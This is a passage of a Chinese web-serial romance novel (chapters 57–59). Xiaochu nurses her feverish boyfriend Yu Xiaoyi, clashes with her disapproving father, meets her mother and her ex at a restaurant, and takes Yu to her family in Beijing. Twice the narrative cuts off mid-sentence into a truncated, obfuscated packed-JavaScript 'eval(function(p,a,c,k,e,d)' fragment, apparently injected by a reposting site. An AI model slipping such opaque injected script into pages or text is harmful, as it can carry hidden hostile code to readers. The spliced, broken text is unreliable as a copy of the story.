他和余萧泽虽然是亲兄弟,却一点都不相像,他是余韬韬的骨相搭配萧文然深邃的双眼皮,看着就很港,余萧泽则刚好相反,所以相对东北亚。 两人都如此MIX,又怎么能怪她之前打死都没把他和“萧文然”三个字联系起来? 她问他:“好好的不睡床睡地上干嘛?” 余萧弋唇角的弧度从她进门就没下来过,“因为想感受一下你之前躺在这里的感觉。” “又消遣我,是吧?”小初从沙发上拿过一个抱枕塞到他颈下,“喜欢就一直躺这吧。” “这么宠吗?”余萧弋的呼吸熔岩一般的烫,“其实是睡迷糊从沙发上掉下来了。” “我就说你这沙发不能睡人吧!”小初为自己之前的英明而骄傲了几秒钟,才问他,“体温计在哪?” 余萧弋稍稍一动就头疼欲裂,只能用眼神示意了一下书架上方的医药箱。 小初利落起身,拿过箱子取出体温计,看了眼他身上被睡得乱七八糟的卫衣,突然就有点犯难。 眼下这个情况,无论从衣服的领口还是下摆伸手进去放置体温计……都有点暧昧吧? 余萧弋注意到了她的停顿,有些不解:“怎么了?” 小初指令清晰,“脱了。” “啊?”余萧弋一时没跟上她的脑回路,本来就烧得有些意识不清的他,听到这句话魂差点飘飞出去,“脱什么?” “衣服。”小初认真解释,“卫衣不方便我照顾你,你自己穿着也不舒服。”不能停顿,越停顿气氛越奇怪,她咬牙,“就不用我帮你了吧?” 余萧弋目光晦暗地看了看她,突然勾了勾唇,双手交叉在腰侧抓住衣服的下摆,下一秒,在她完全反应过来之前,一个身体的挺动,卫衣就已经被他从头上扯了下来。 他还在发烧,而室内空调微凉,还没等布料滑过最后一寸皮肤,他就已经冷得浑身发颤,但即便如此,他也没有扯过毯子将自己覆住,就那么坦诚地将一切展示给她,“是这样吗?” “你……”只一个字,小初的声音就被紊乱的呼吸吞没了,目光也自动化成了流动的绸带,也不知被谁牵动着,一路越过他线条流畅的腰腹向上蜿蜒而去。 根据广义相对论,强引力场会导致时间膨胀,所以她确定,此刻的他于她就是黑洞,有着吞噬她一切的危险,否则,时间不会变得如此之慢,瞬息就已永恒。 他的皮肤很白,如此更衬得他侧颈的痣和肩头的齿痕张力十足。两人之前自然已有过数次拥抱,却从来没有这样平铺直叙过。 “我怎么?”他笑。 “你里面都不穿件T恤什么的吗?卫衣上的毛圈不会磨皮肤吗?”小初体温计递给他,并迅速帮他把毯子盖上,房间里的温度不知怎么突然这么高,她热得难受,就很想喝水。 “早晨出门太急了,就抓过来直接穿了。” “你急什么?”小初起身,轻声问他,“你渴不渴?想吃什么吗?” 他摇头,目光始终追随着她,“还好。” 小初也不管他,先给自己接了半杯水一口气喝完,然后才又接了半杯给他。她来回走的时候,Enzo和港港就一直围在她脚边,场面一度很混乱,又有种说不出的温馨感。 小初俯身,“喝水。”她特地在杯子里插了根吸管给他,这样,他就不用起身了。 她前一段时间发烧头疼到快炸的时候,他就是这样照顾她的。 没想到这么快,倒下去的那个人就轮到他了。 “时间差不多了吧?”小初一边帮他扶着杯沿,一边从他腋下抽出体温计,饶是有心理准备,她还是被那个刻度线吓了一跳,手一抖,水就晃了出来,弄得他下巴以下锁骨以上一片湿漉漉。 “对不起!”小初手忙脚乱,又赶紧回身去拿茶几上的纸巾,不想就在这一刻,他突然伸手,在她还没明白发生什么事的时候,人就已经被他扯到怀里去了。 被他掌心压住耳后的时候,她感觉他人已经热得快被焚了,可比掌心更热的是他的呼吸,他唇舌的渴望,他吻得太缠绵细密,小初被箍得喘不过气来,整个人都融化成了白色巧克力,流了他一身。 直至他掀开毛毯将两人一起裹在其中她才意识到他疯了,可她已被她吻得连不成一句完整的话,“你,你已经……烧到,三十九度八了……你不,不要命了?” “我不是感冒,宝贝。”他在她身上停住,胸前完美的肌肉弧度因背光而更加清晰,“我只是太累了。”他俯身,呼吸在她耳边若即若离,“我以为那条新闻一出,你就会不要我了,为什么,你不仅没走,还不顾一切回来找我?” 小初被他弄得不仅耳朵,浑身都很痒,像是身体深处有根线蔓延出身体,而另一端正被他握在手中,“因为,我喜欢你。” “什么?”他顿住动作,神色间都是不敢相信,“可你也说过的,只赌半点心给我,我不可能那么重要的。从小到大,他们的爱都分成很多份,我只是其中一个选项,从来没做过唯一。” 此刻的他太脆弱也太真诚,小初的心一阵刺痛,她搂住她的脖子,以同样的真诚回应他,“你应该懂的啊,学数学的都需要一点专注和执着的,不是吗?干扰信息对结果的影响,微乎其微。” “所以,我是那个指向性唯一的结果吗?” 小初点头,“嗯。” 至少今天,此刻,他是。 毋庸置疑。 他提醒她,“可我们认识这么短,你还不了解那个真实的我什么样子,为什么这么信我?” 小初笑:“我信的,是我自己的直觉。”她戏谑看他一眼,“如果直觉是错的,就换方向呗,你应该懂的,学数学的,太专注和执着也不行的,有时候适当的变通也很重要的。” “……”余萧弋的腰忽然下沉一寸,他没说话,身体语言却没停止表达。 突如其来的侵略感觉太突兀和真切,小初的瞳孔骤然放大,恐惧让她不小心收紧了手臂,指尖陷进他背上的皮肤,那个触感让两个人都不自主一颤,在无声中,理智和欲望一直在撕扯。 他锁骨上的水痕还没有干涸,身体的温度也没有下降的趋势,热量顺着贴合的布料传递着,他在发烧,她却没有,她被他烫的每个毛孔都不由自主张开着,汗液渗出来,很快整个人就变得无比黏腻和潮湿。 影音室那晚的记忆凌乱不堪,她很清楚自己的身体在叫嚣着什么。 想要他。 不是占有和被占有,不是主体和客体在争论谁是上风,只是自然法则正在徐徐展开。 “你这边还有,止痛药吗?” 小初突然张唇,瞬间将余萧弋的意志力全部击碎,这一次他没再给自己留余地,吻得很凶。她的T恤下摆沾到了他身上残留的水,湿了小小一片,他掌心覆上来的时候,两个人早已忘了事情最初是什么发生的。 在一片紧张中,门却突然被人从外面敲响了,声音不算大,节奏也不算急,在此刻却无异于天雷,瞬间将两人从归墟之境引回了人间。 无比默契,他一秒钟就收回了手,并顺势帮她整理了下凌乱的衣服,小初则扯过纸巾帮他把嘴角以下被两人弄湿的地方擦了,再稍微一错身,他就再次躺了下去,而她坐起身后的第一时间就重新梳了头发。 空气里的尘埃劫后余生般的震颤着。 两人狼狈又羞涩,目光对视却又实在没忍住笑意。 “谁?”余萧弋小声问。 小初垂下嘴角,“我爸给我请的贴身保镖。” 余萧弋的神情瞬间有些落寞。 曹旸若不敲门,她甚至都忘了她的存在。 “小姐。”曹旸的声音一如既往听不出什么情绪,“方先生让我带你回去呢。” “等下。”小初起身,走到门边,大方打开门,脸上的表情无懈可击,“曹旸姐,不好意思,麻烦你跟我爸说,我男朋友身体不太舒服,我得留下来陪他。” 这句话直白如天上明晃晃的太阳,余萧弋神色一动,眼底已泛红。 曹旸看她一眼,“方总的意思是,如果我不能带走你,他就亲自过来了。” 小初呼吸一滞,只说:“那你先回车上等我,我给他打个电话。” 曹旸点点头,丝毫没有拖泥带水,很快就消失在了楼道转角处。 小初关上门,就给方协文打过去了电话。 她也没有避着余萧弋,蓝牙耳机里她爸也不知在哪喝了酒,有点口齿不清的,“方太初,你现在给我回家我就当这件事没有发生。” 小初从医药箱里找了片退热贴帮余萧弋贴在额头上,语气极为认真,“爸,他生病了,从中午到现在饭都没有吃,我起码煮碗面给他吃完再走吧?上次我生病,人家可是在医院陪了我好几天呢。” 小初又找出一盒退烧药在他面前晃了晃,用口型问:“这个吃吗?” 余萧弋点点头。 小初按照说明书拿了两粒药喂到他嘴里,他的唇贴到她手指上的时候,她掀眸警告地看了他一眼,却丝毫没有影响水杯递过去的速度,她发现,她现在脾气也是越来越像黄亦玫了,包容性特强。 然后又忍不住想,他怎么这么乖,她喂他吃什么他都张嘴,也不怕她偷偷给他下毒吗? 方协文在那边暴跳如雷,“你还给他煮面!他们家那么多人死了吗,轮到你伺候他!”顿了顿又问,“你什么时候学会的煮面?我不是不让你进厨房吗?” “爸,您小点声说话,我耳膜疼。”小初起身走到厨房,开始翻箱倒柜,终于在储物柜里找到一包即食面,“我妈教的,你忘了吗你跟我说的,她当年就是靠这个追到你的。这世上也不能就你女朋友可以给男人煮面吧?” 方协文一阵沉默。 而后才没好气地说道:“所以你还没看透吗?男人都一个德行,连我都因此洋洋得意了一辈子,你就能保证他不会吗?” 小初从冰箱里拿出鸡蛋和午餐肉,打算复制一碗餐蛋面给他,按照之前的约定,就收他68港币好了。 “我就让他得意好了啊。” 方协文那边传来一阵玻璃落地的碎裂声,立刻有人关切问道:“方总,没事吧?” “没事。” 他的语气听着就不像没事。 “爸。”小初拧开一瓶纯净水,倒进锅里,又拧开煤气,到底哄道,“我不厚此薄彼,你想吃,一会儿回去我也帮你煮一碗。” 方协文冷哼一声,“显得着你吗?”然后语气终于有些缓和,“还回去吗?” 小初答应他:“他退烧了我就回去,只是不知道几点。” “那他要是后半夜退烧呢?”方协文提高声音。 小初用力拉了一下午餐肉罐头的拉环,她被那个东西勒的手疼,不由自主蹙起眉,“那我只能陪到后半夜呗。”又嘱咐,“爸,你少喝点酒,早点回家,别让我和妈妈替你担心。” 方协文说:“是你,别让我和妈妈担心才对。” 小初眼睛有些热:“我挺好的。” 锅里的水沸腾开来,小初有些手忙脚乱,匆匆说了句,“爸我不跟你说了啊。”就挂了电话。 方协文气急,下一秒就发了条语音过来,【方太初,反正你今天十二点要是不到家,我就亲自过去接你。】 只不过,当时小初太忙,压根儿就没看见。 速食面倒是不难煮,难的是煎那个太阳蛋和厚切的午餐肉,她长这么大从没对付过四处飞溅的油,整个人几乎被吓飞,幸亏有锅盖做盾牌。 “我来。”余萧弋不知什么时候出现在了厨房门口,“你不要做这些,以后都不要。” 他从她手中接过锅铲,声音有些闷,“乖,去外面等。” 她谢谢他,至少还知道套件T恤才过来。 “哎,你还在生病,怎么能叫你自己做这些?你这样显得我也太没用了点。”小初即不服气,又有些心疼,“该出去等的人是你吧?再说我还打算卖你68港币呢,你这样那这碗面到底算谁的啊?” 他转身,眼角的水光潋滟 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“不是吗?”他温柔握住她的手,眼神逐渐暧昧,“老公不就是一种控制不住的生理性喜欢吗?你对一个人有没有想肌肤相亲的感觉,跟认识多久,有关系吗?” “谬论!”小初瞪他,“人家都说最好的夫妻是灵魂伴侣才对。” 余萧弋笑意深深,“那你为什么没爱上林佳宜?是因为不喜欢她的灵魂吗?” “你别偷换概念。” 小初红着脸推他去洗澡,到底还是简单收拾了餐桌和厨房。 他很体贴,总算在午夜十二点之前退了烧,她不放心,又陪了他一会儿,帮他把后半夜要喝的水放在床边,才下楼。 曹旸还在等着她。 “方太初,你说的回北京会带着我的,不会食言吧?”分别之前,他没忘记提醒她。 “啊?”小初愣住,她说的又不是这次。但看在他生病的份儿上,她没直接拒绝,只说:“我看看。” 回去的路上,她才看到方协文那条留言。 然后她才忽地想起件事来,她几天没回宿舍,中间又发生她恋情被传媒曝光的这么大一件事,但……林佳宜好像一直没联系她? 什么情况? 她和她虽然并不怎么热衷于黏在一起,但灵魂确实如余萧弋所说,有种很特别的吸引,所以两人从没有超过一天不联系过。 她的直觉告诉她,肯定出事了。 想到这,她简直一秒钟都等不了了,立刻给林佳宜打了电话过去。 电话响了三遍,都没人接。 她心急如焚,又马上联系朱慧雯。 朱慧雯电话接得倒快,听到她的声音第一句话就是揶揄,“方大小姐,我这几天一直在反省,要是我之前有什么得罪的地方,你一定大人有大量,别跟我计较啊。” 小初没心情跟她开玩笑,只说:“废话不说,这几天你见到林佳宜了吗?” “她?她回台北了,好像是她妈妈生病了。” “这样?”小初的心稍定,“那我给她发消息试试,可能电话她没听到。” 朱慧雯说:“我也联系一下。” 挂了电话,小初就给林佳宜发了信息过去,【佳宜姐,你那边无论有什么需要帮忙的,都记得跟我说,千万别客气。】 可直至第二天下午,她也没有回给她。 余萧弋倒是彻底退了烧,退烧后也没有任何其他诸如咳嗽和流鼻涕的症状,小初这才相信他真的是累的,而不是得罪了感冒病毒。 当天傍晚,又发生件大事。 余杨两家突然放出消息,说是余珺彦择日就要和杨镝英的二女儿杨敏之订婚了。 至于之前坊间沸沸扬扬的余萧弋和杨敏中的传闻从来都是无稽之谈,两家大人再怎么荒唐,也不至于支持两个学业还未完成的孩子过早地被婚姻绑定。 而杨敏之和余珺彦,两人自小就认识不说,中学时代还谈过一段刻骨铭心的恋爱,这次余珺彦下定决心回国发展,久别重逢的初恋爱人终于确定心意,不打算再彼此错过。 消息一出,立刻引起舆论一片哗然。 某知名八卦栏目的主持人甚至直接在其负责的节目里说,这分明是余杨两家退而求其次的一个备选方案。 豪门继承人之争向来暗流涌动,从方协文此次抵港冷淡的态度来看,余韬韬和萧文然后面恐怕要被动了,现在余珺彦得到了这么一个强有力的支持,而余萧弋这边追妻之路还任重而道远,别到最后赔了夫人又折兵,反而悔不当初放弃杨家,让堂哥钻了空子。 小初第二天的飞机飞北京,本来还没想好到底要不要带余萧弋一块回去,这条消息一出,倒激起了她的某种胜负欲,或者说——保护欲。 当天晚上,她就跟父母摊了牌,“爸,妈,小余同学明天会陪我回京考试,你们是先走还是跟我们一个航班?” 方协文当时眯着眸子看了她半晌,眼神里的冷意比寒流袭来的整个华北地区还让人瑟瑟发抖,都没有打消他们家方大小姐发热的头脑里,为某个人all in的傻念头。 58.第 58 章 听完她的爱情宣言,方协文立刻叫秘书订了两张第二天去东京的机票。 小初嘴角一抽。 她心里清楚得很,他们根本没有什么特别的事非去那不可,这趟行程更完全不在原本的计划之内。 这两三天在港,方协文和黄亦玫见了不少人,有生意场上的,也有纯粹的私人关系,就是没有见最先约他们吃饭的余韬韬和萧文然。 所以,他们就是借这些行为来跟她表明他们的立场和态度呢。 对此,她也能理解。她早说过,她可以接受他们对她一切的指点或是指指点点。 他们也是人,不是神。只要是人,就不可能站在上帝的视角上看待所有人和事。 尤其还事关她方太初,他们唯一的女儿。 只是,他们不肯跟他同乘一趟航班也就算了,也不至于同一个城市的空气都不想跟他一块分享吧? 余萧弋是有多讨人嫌?他们甚至都没有见过他,也不了解他的为人,就凭一个姓氏,就把他的一切都否定了,这公平吗? 于是她似笑非笑着问她爸,“您当年也是淋过雨的人,这怎么一转身就把别人的伞也撕了呢?” 方协文冷哼,“这不是你教我的吗?”又说:“你就庆幸我也曾淋过同样的雨吧,不然我伞骨都给你当柴火烧了,还会这么温和?” 小初呼吸一滞,没说话。 她承认,他的确已经算克制。 气氛太紧张,黄亦玫赶紧出来缓和,“都少说两句,很晚了,早点睡。” 方协文被老婆牵着手,还没忘记回头又加了一句:“方太初你自己要蹚他们余家这趟浑水我没意见,但我事先和你说清楚,我和妈妈以及亦方是不会给你站台的。” 这话说得就有点太尖锐了,饶是小初心理素质再强大,也被刺得身形一晃,半晌没回过神来。 他们父女不欢而散,倒难为了黄亦玫,安抚完老公又跑出来安慰小初,“你别跟爸爸一般见识,他最近压力也很大,很多事情忙得他焦头烂额。” 小初笑笑:“是,我得感谢方总百忙之中还要为我可笑的家家酒游戏操心呢。” 黄亦玫一愣,下一秒已经把她抱在了怀里,“不许口不择言,你明知道我们爱你胜过一切。” “所以呢?”小初的眼泪落在妈妈的肩膀上,“你也希望我和他分手吗?” 黄亦玫说:“我和爸爸都没有希望你和他分手或者继续的意思,我们只要你开心。但也请你理解,眼下确实时机还没到,等将来,等你确定他就是你要共度一生的人的时候,我们一定会支持你的一切决定。” 小初好半晌说不出话,直至把那个酸涩的情绪控制下去,才嘟囔了一句:“你不觉得他控制欲太强了吗?” 黄亦玫笑:“跟以前比已经好多了。” 第二天,小初起了个大早,在她爸醒来之前,她已经和曹旸出了门。 她对他的气还没消,暂时还不想见到他。 也不知道方先生和方太太什么时间飞东京,反正她和余萧弋是下午五点的飞机飞北京,她但愿他们不会在机场碰上,不然不就成了给她的爱情“站台”了吗? 有时候,她真觉得他爸这样的男人既难搞又无趣,控制欲强还狂妄,她想不通她妈当年到底是怎么看上他的,是因为欣赏和怜悯吗? 欣赏他满身的才华,怜悯他因灰暗的童年而残缺的性格。 自然,他现在已经是个大气从容、无论在什么场合都可以侃侃而谈的成功人士了,可难免,在面对自己最亲密的人时,还是会偶尔露出他的底色来。 她自觉自己没有黄亦玫的艺术天分,可以将一个人底色上的灰变成一片波光粼粼的海,所以,她只适合那个被爱滋养得很好的灵魂,永远温柔而坚定,永远不会刺伤她。 大概跟了她两天也没拍到什么有用的东西,今天的应急出入口已经没有狗仔蹲守,她不由自主舒了口气。 发给林佳宜的消息依然石沉大海,朱慧雯那边同样也联系不上。 小初立刻决定上午下课后去她学院找她同学和导师问问情况,她的直觉让她非常不安,总觉得有什么不好的事情正在发生。 以她的那个家庭情况,她都不知道她真遇到了困难,尤其是和钱有关的事情,还能找谁。妈妈生病,姐姐去世,小初没办法眼睁睁地看着她被生活压垮。 走出教室,余萧弋已经等在一棵凤凰木下。 今天的阳光很好,而他一身配色很秋冬的休闲装,身姿挺拔,意气风发,连映在皮肤上的睫毛阴影,都像凤凰木的叶子一样动人。 她立刻感觉自己被治愈了。 “走吧。”他过来拉过他的手。 曹旸始终跟他们保持着一定的距离,默默跟着。 小初下意识问,“去哪?” 他笑:“去买东西啊,给外公外婆,舅舅舅妈和小表弟的礼物。我不知道他们都喜欢什么,很需要你的帮忙。” 小初怔了一下,再看向他时目光已不自觉变得轻柔,她家人如此对他避之不及,他竟然还这么一片赤诚吗? “干嘛?”余萧弋摸了摸自己的脸,“我今天这么好看吗?” “痴线啊。”小初被他逗笑,然后才解释,“我要先去趟医学院,找下林佳宜的同学。” 余萧弋点头,“Ok啊,时间还来得及。” 两人驱车赶往她之前生病时住过的医院。 曹旸的商务车紧随其后,不远不近,无声无息。 她是真的不习惯走到哪身边都带着个外人。好在方协文已经同意回北京的这几天不用她跟着。 到医院楼下时,小初问余萧弋:“你还有没有再发烧?真的已经好彻底了吗?我跟你说北京已经很冷了,可不是二三十度的香港。” 他郑重其事,“你放心,我保证绝不给你添麻烦。” 小初又问:“酒店订了吗?” 他将车子稳稳停进车位,“你是不是还没把你家地址发我?我就随便定一个离你家近的酒店好了。”他朝她眨眨眼,“能随时见到你的那种。” 小初认真想了想,慧黠一笑,“姥姥家小区门口好像是有个快捷酒店,五分钟之内一定可以让你见到我的那种,只是不知道余少住不住得来。” “可以,就这个。”余萧弋很干脆。 小初快笑出眼泪,“傻子,你是不是不知道什么是快捷酒店?” “为了你,我可以在外婆家楼下住帐篷,更何况什么快捷酒店?”他想了想,恍然大悟,“快捷酒店是不是就类似国外那种汽车旅馆,很简陋但很快就可以入住?” “……”小初没解释,准备到时候好好欣赏一下他的无助。 正欲解安全带,林佳宜的信息刚好在这会儿进来了。 小初失笑。 很多事情就是这么巧,她再早或再晚个十分八分回她,都不是这个效果。 【方太初,我一切都好,勿念。】 【妈妈情况已经稳定,只是很忙,所以没顾得上回复信息,抱歉让你担心。】 【我下周就返回学校了。】 【不缺钱,你好好照顾自己,回来聊。】 【看见你和余同学的新闻了,很配!祝99。】 小初被她逗笑,难为一个不婚主义还能对这世间的情侣这么善良,她轻嗤她,【哪里学的烂梗。】 她回:【陆抖看多了。】 小初问余萧弋,“那现在呢?” 余萧弋朝街对面使了个眼神,“要不,还去吃上次的日本菜?” 小初愣了愣。 时间虽然没过去多久,好多事却已恍如隔世。 两人手牵手一块上了三楼。 依旧是那个清幽古朴的环境,照例选了间榻榻米风格的小包间。只是这一次,还没掀开布帘,余萧弋的目光就被不远处的一桌食客吸引了目光。 小初顺着他的视线看过去,脑子里就骤然轰的一声。 叶子瑜。 有段时间不见,他的头发长长了许多,小腿上的石膏已经拆除了,但餐桌边还倚着他的拐杖,伤势应该是还没好利索。 他对面还坐着位女士,因为视线受阻,她看不见她的脸。 大概,就是他的阿沅吧。 这世界还真是小。 双方视线碰触时,她瞬间捕捉到他朝她微不可察地摇了摇头。 凭着多年的默契,她看懂了他的意思——别打招呼,就当没看见他。 小初心里冷笑了一声,她是真的没想到他这么个骄傲又不羁的人,也会爱一个女人到如此深刻的程度。 不让她打招呼,一定是怕她影响他的阿沅的心情吧。 “进去吧。”她扯了扯余萧弋的袖子。 “好。” 恰好就在这一瞬,也不知怎么,那个女人就像感应到什么了似的,突然回过头来。 叶子瑜立刻尴尬地用掌心挡住了他的眼睛。 小初也想挡,可已经晚了。 “小初?”对方的语气极为惊讶,似是完全没想到会在这遇见她。 余萧弋的语气也很惊讶,“认识?” 小初的脸已经变成了鸽血红。伤害他不是他本意,可有些事情就是那么巧,她能怎么办? “妈。”小初的声音蚊子似的哼哼着。 只一个字,余萧弋脸上的表情就凝结成了冰,顷刻间,就碎一了地。 她妈妈不见他,却来见了她前任,而且那么明显,他们吃饭的气氛很好。 小初后来都想不起来四个人是怎么坐到一张桌子上去的,或许也不是她想不起来,而是她不愿意去回忆。 因为这画面实在太过于戏剧性,戏剧到她根本不愿意相信它是真的。 一阵尴尬过后。 还是黄亦玫先开了口,“小初,不介绍一下?” 小初几乎没把舌尖咬出血,但还是硬着头皮给他们做了介绍:“妈,这就是我常跟你聊起的余同学,Theo,这是我妈妈。” 她偷眼去看,发现余萧弋还算淡定,甚至可以用极具风度来形容,所有的尴尬,紧张,酸涩和难过都掩藏的刚刚好,最后呈现在黄亦玫面前的,就是一个规矩又懂礼的年轻人。 “阿姨你好。” 他始终微微欠着身。 她在桌底偷偷牵住他的小指,发现他已经抖得不行了。 她赶紧抓紧他。 黄亦玫有些意外,“不介绍一下子瑜吗?” 小初轻咳一声,目光有些闪烁,“他们认识。” “认识?”黄亦玫无比意外,然后瞬间就反应过来眼下正在发生着什么事。 他们,竟然,认识! 这是……什么……致命修罗场! “啊,是吗?”黄亦玫马上解释,“前两天和连筝阿姨见面,她跟我说心里总惦记着子瑜,我就想我既然来了,就总要过来看看他,之前也听说了,他腿受伤了嘛,伤筋动骨一百天,确实挺难熬的。” 桌子底下,她和余萧弋开始谱写协奏曲,也说不上是紧张还是什么,她也抖得厉害。 这次换他抓紧她。 黄亦玫又说:“Theo是吧,我和你妈妈也是多年的好朋友了,前一段时间还刚一块吃过饭。” “是。”余萧弋认真得像中学时代的优等生,“我妈妈前两天还有提起亦玫阿姨的艺术展,说是展品都很棒,让人叹为观止。” 叶子瑜玩味看了看两人,低头大大喝了口麦茶。 “是吗?来,别顾着说话,看看你喜欢吃什么,阿姨请客。” 黄亦玫的目光很静,又流水一般温柔,这让余萧弋的心跳总算没有鼓噪得更厉害。 他从善如流接过菜单,往小初那边偏了偏,指尖轻动间,两人目光默契地快速扫过,有效信息就已被筛选出来,很快就先后做好了决定。 服务生来点单时,小初想起什么,又加了句,“你就别喝冰水了吧?” 余萧弋点头,合上菜单微笑着递过去,即使对待服务人员,他也一如既往地保持着谦卑,“饮料走冰,山葵酱麻烦拿多一份。” 上次吃饭时他记得的,她特别喜欢那个味道,拌乌冬面时加了好多。 黄亦玫眉间的神色一动,再看向他时,眼尾已不觉蕴含了欣赏和满意之色。 一顿饭吃得尴尬中又掺杂着愉悦。 临分别,黄亦玫解释:“Theo,阿姨有点事要去趟东京,这次恐怕就不能在北京招待你了,下次,有机会再带你去吃好吃的。” 余萧弋受宠若惊,频频 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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小初笑,“那改天带你去见干妈,还有,不许生气我妈和叶子瑜见面的事啊,她不是故意针对你,子瑜到底是因为我受伤,她去看他,也在情理之中。” 余萧弋脸色淡淡的,“哦,子瑜。” “……” 他转过来看了她一眼,莫名幽怨,“我在你那都没什么昵称。” 小初心想,谁叫你名字那么拗口。 但出口的话还是甜的,“网上说,叫对象全名才是最暧昧的。” “是吗?”他沉思了一下,嘴角翘起来,“算了,自从知道叶子瑜即使从一开始就知道你是谁,对你的不喜欢都没有一丝动摇时,我已经释怀了。这家伙也算个人物。” 这下轮到小初被他气疯,“你怎么知道他没有动摇过?我方太初是什么一点都不值得人动摇的人吗?” 余萧弋语气微凉,“哦,那你要他怎么动摇?” “……” 车子停住。 小初从口袋里掏出她的桃子唇膏,不由分说涂在他的唇上,“你别说话了,嘴巴都干了!” 但很可惜,下一秒,这唇膏就白涂了。不仅白涂,还花了她的妆,害她下车前又浪费不少时间去补。 曹旸只送他们到VIP休息室,小初终于松了一口气。 如她所料,机场果然有狗仔身影。这一次,他和她都镇定很多,只手牵手大步往前走,无论人家问什么问题,他们都面露微笑一概不答。 今天的他和她穿着差不多风格的衣服和鞋子,手腕上还戴着类似的卡通手表,画面极为和谐和可爱。 狗仔进不去贵宾室,但也拍够了素材,双方都很满意。一切都在小初的意料之中,她很期待明天的报纸会写些什么。 一脱离镜头,他的神色就落寞了下来,眼底都是碎光,问她:“方太初,我值得吗?” 小初弯唇,温柔地摸了摸他的脸,“那要看你表现了。表现不好,我随时可以把你当变量调整掉的。” “那你要我怎么表现?” “……” 小初突然发现,怎么现在无论什么话,只要从他嘴里出来,她就会不由自主往别的方向联想? 她本来明明不是这样的。 所以,都是他的错。 飞机落地北京时,已经夜里九点多。 因为寒流盘旋不去,整个华北地区都反常的冷。一出机场大厅,余萧弋就单手裹紧了大衣,他只能用单手,因为另一只手,还拉着一只巨大的箱子,里面都是给她的家人带的礼物。 小初帮他整理了下大衣里面的她之前买给他的毛衣,又看了眼他被风吹得乱七八糟的头发,大笑:“我都说了不要买这么多东西!现在是网购时代了哥哥,什么东西在内地买不到啊?” 余萧弋坚持,“那不一样嘛,我总不能第一次上你家的门就空着手吧?” 他脱下外套,将她紧紧裹住,“这就是传说中美得天堂的一样的北京的秋天?怎么跟我想象的天堂不太一样?” 小初挣扎着:“不要给我,你自己穿,我不怕冷。” 他不放手,“不行,你明天还要考试呢,现在是重点保护动物,千万不能冻感冒了。” 一辆车适时停在他们面前。 一个不说话看着还是有几分儒雅的男人跳下车,一开口,那个慵懒的京腔就将他本来的气质暴露了个彻底,“怎么着啊方太初,北京就今天大降温,你就偏挑今天回来,我跟你说,这要不是接你,我是肯定不会出门的。” “舅舅!”小初嗔怪地看了他一眼。 说话间黄振华已到面前。 他也没含蓄,上来就肆无忌惮将余萧弋上上下下整个看了一遍,看完立马跟外甥女挑了挑眉,“行啊方太初,我就说你眼光是比你妈好的。” 余萧弋已经顾不上脸红了,他快要被北方的大风吹死了。 “舅舅好。” “哎,你好你好,欢迎你来北京。” 小初没好气地,“能不能不要在这客套啊,你们不冷吗?” 黄振华这才反应过来,一把接过余萧弋手里的箱子,示意他们上车。 上了车,小初才拍拍脑门,“糟了,余萧弋,我是不是忘记提醒你订酒店了?” 余萧弋还没说话,黄振华已经接了过去,“那还住什么酒店啊,直接住家里就好了。姥姥姥爷都在家恭候二位多时了。” 小初和余萧弋不自然地对视了一眼。 这就,住……住家里吗? 59.第 59 章 因为大风降温,时间又晚,街上很清冷。从机场高速下来一路沿着北四环往西走,还四十分钟,黄振华的车子就稳稳停在了清华家属院里。 开门下车,余萧弋抬头。 夜色中的红色旧砖楼只有零星几个窗口亮着灯,古朴厚重的气息扑面而来,一个完全陌生却又让他感到无比安全的世界正向他敞开着怀抱。 “怎么了?”小初不解地顺着他的目光看了看,说话时,她的发丝被风吹动,刚好滑过他的侧颈。 “没事,我只是感慨,方太初,我终于走向你。”他旁若无人将她搂进怀中,温柔吻了吻她的头发。 小初忽地红了脸,迅速看了眼被开启的后备箱挡住的黄振华,牙缝里挤出三个字来,“你疯啦?” 这是什么地方,你敢这么放肆。 余萧弋笑,又狠狠亲了一口才大踏步朝车尾走去,“舅舅,我来就好了。” “没事儿没事儿,我来。”黄振华提了一下,五十几岁的人体力到底有点吃不消,赧然道,“还挺重。” 余萧弋接过来,很轻松的,箱子就落了地,他拍拍手,“确实有点重。” 那毕竟是个三十二寸的旅行箱,里面满满登登都是各种保健品零食化妆品和玩具,东西倒不是多名贵,但为了照顾到全家上下的喜好和感受,他每样都买了很多。 能不重吗? 其实他也想咧嘴来着,但为了装酷,只能尽量表演从容了。 黄振华挑眉,顺势捏了捏他的手臂,转头跟小初笑,“小余看着瘦瘦高高的,没想到肌肉这么硬。” 又问余萧弋,“平时没少练吧?” “练得不多,一周去一两次健身房这样,我平时游泳多一点。” 黄振华点头,“游泳好,游泳练出来的身材最流畅,你看咱们国家游泳队那帮小伙子,个个多有型。” 余萧弋有些不好意思,“那跟人家专业的还是没法比的。” 一行人向楼门走去。 小初想起他俯在她身上时那个收放自如的核心力量,轻咳一声转移了话题,“舅舅最近还跟舅妈一块跑马拉松吗?” 黄振华沮丧地说:“很久没跑了,她嫌我体力不行,早不带我玩了。” 小初和余萧弋都笑起来。 到了楼上,一家人早迎在门口。 黄予安一见到余萧弋就朝小初挤眉弄眼,“行啊姐,还真让你谈到帅哥了。” 小初瞪他,“反正你将来女朋友肯定谈不到。” 大家都笑。 小初给大家做介绍,称余萧弋为小余同学,称姥姥姥爷是全世界最好的姥姥姥爷,舅妈是全世界最好的舅妈,至于黄予安,她说她好像已经有段时间没打他了,让他小心点,别乱刷存在感。 黄予安不服气,“你欺负我不怕我把你小时候的丑照拿给姐夫看吗?” “你乱喊什么?”小初一把从背后锁住他的喉,根本不敢看这房间里的其他人,“你喊他哥哥就好了!” 黄予安一副被劫持了的痛苦模样,用力向余萧弋伸出手,表演欲突然爆棚,“哥哥,你先走,别管我,这女人这么残暴,你再不走下一个就是你了。” 话音一落,就把所有人都逗笑了。 